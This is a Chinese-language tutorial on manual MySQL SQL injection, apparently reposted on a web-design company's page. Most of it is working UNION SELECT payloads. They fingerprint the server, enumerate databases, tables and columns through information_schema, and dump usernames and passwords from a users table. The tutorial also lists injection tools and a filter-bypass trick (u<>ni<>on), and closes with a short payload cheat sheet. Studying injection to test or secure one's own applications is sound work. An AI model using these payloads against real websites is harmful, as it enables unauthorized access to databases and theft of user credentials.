扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
成都创新互联是一家集网站建设,龙游企业网站建设,龙游品牌网站建设,网站定制,龙游网站建设报价,网络营销,网络优化,龙游网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。
information_schema
SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大的关系数据库语言,但其功能并不仅仅是查询。
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。来源于百度百科
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说,SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)来插入或修改后台SQL语句达到代码执行从而进行***的技术。
出现SQL注入***漏洞的主要原因是:许多网页程序员在编写代码的时候,没有对用户输入数据的合法性进行严格的判断和过滤,从而导致应用程序存在该漏洞。
对于mysql注入常用的方法主要是以下两种:
(1)手工注入。
(2)使用工具注入
在mysql手工注入中主要是利用mysql自带的information_schema数据库,information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。简单点说,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema数据库里面。
涉及数据库:learn,涉及表:users。
表users
and 1=1(正常显示), and 1=2(非正常显示) ,但不限于此。也可以是3>1(正常显示),3>5(非正常显示)等。
本身查询语句为:SELECT uid,username FROM users WHERE uid=1
本身查询语句
SELECT uid,username FROM users WHERE uid=1 and 1=1
正常显示
SELECT uid,username FROM users WHERE uid=1 and 1=2
非正常显示
order by 主要是用于排序,用法基本为:order by <列名> [ASC | DESC]
列名可以是select后面的列名,也可以是数字,代表第一列或第几列!查询字段数也是根据order by排序的列名可以是数字来进行判断的。
本身查询语句:SELECT uid,username,phone FROM users WHERE uid=1
本身查询结果
查当前字段数目(列数):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3
正常显示
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4
非正常显示
因为当前页面查询的语句中只查询三个字段,所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数,前一个正常,后一个异常,那么该正常的就是当前查询中的列数。
联合查询数据显示位置,不成立条件+union select(如果前面是成立的话页面中会看不到想要的信息),也可以是 前面条件不变+union select + limit m,1。(如果看到页面中信息有union select查询中的数字时,那么也是可以看到字段显示在页面中的位置,但是如果查询信息过多的话则不适用,因此推荐使用前面的那种方式)。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3
显示查询字段在页面中的位置
查询基本信息主要是利用数据库中的内置函数来获取信息。
1. version()——MySQL版本
2. user()——用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()
查询基本信息
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()
查询基本信息
另外,我们可以使用字符串连接函数一次性查询多条信息:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)
0x3B是分隔符, ; 的十六进制!
使用连接函数查询多条信息
连接函数例子
高级查数据库:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1
LIMIT 9,1是从第9个数据库开始查询一条记录,使用这个可以逐个查询数据库中有哪些数据库。
高级查数据库
只运行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3
limit m,n 例子
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
查询当前连接中有哪些数据库
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS
查询当前连接中有哪些数据库
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a
报错
这里需要将数据库名转化为十六进制
转化为十六进制
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a
查询指定数据库表名
只运行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E
原理
原理
高级查表SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
查字段
这里可通过limit m,n循环查询,也可使用GROUP_CONCAT函数一次性查询。
一次性查询
只运行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273
原理
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
原理
这里可以使用limit m,n来逐个(limit m,1)查询。
高级查字段SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
查字段
查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users
查字段内容
这里可使用limit m,1来逐个查询,也可以使用GROUP_CONCAT函数一次性查询。
使用连接函数
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users
连接函数一次性查询
对于使用工具来进行注入,最好时首先手工判断下,如果是或者怀疑是,那么就可以丢给工具来进行注入。
工具有但不限于以下几种:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。
工具注入是可以节省很多时间,但是仅仅靠工具也不一定能利用该漏洞,因为工具有自己的局限性,不如手工那么灵活,简单来说,如果应用程序有了一定的过滤,那么就需要灵活地使用手工注入,如果程序在把查询语句插入到数据库中时把<>过滤了,那么就可以根据这一特性进行简单的绕过,如u<>ni<>on s<>el<>ect 1,2,3。
用于加深对上面涉及到的相关信息的理解。详细信息请自行查看information_schema数据库里面涉及的相关表信息!
information_schema
information_schema.columns
information_schema.schemata
information_schema.processlist
information_schema.tables
information_schema.partitions
以上这么复杂纯属装逼,下面分享简单版的mysql手工注入!
UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata查所有数据库
UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名'查表
UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn'查字段
union select group_concat(字段,字段) from 表名
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流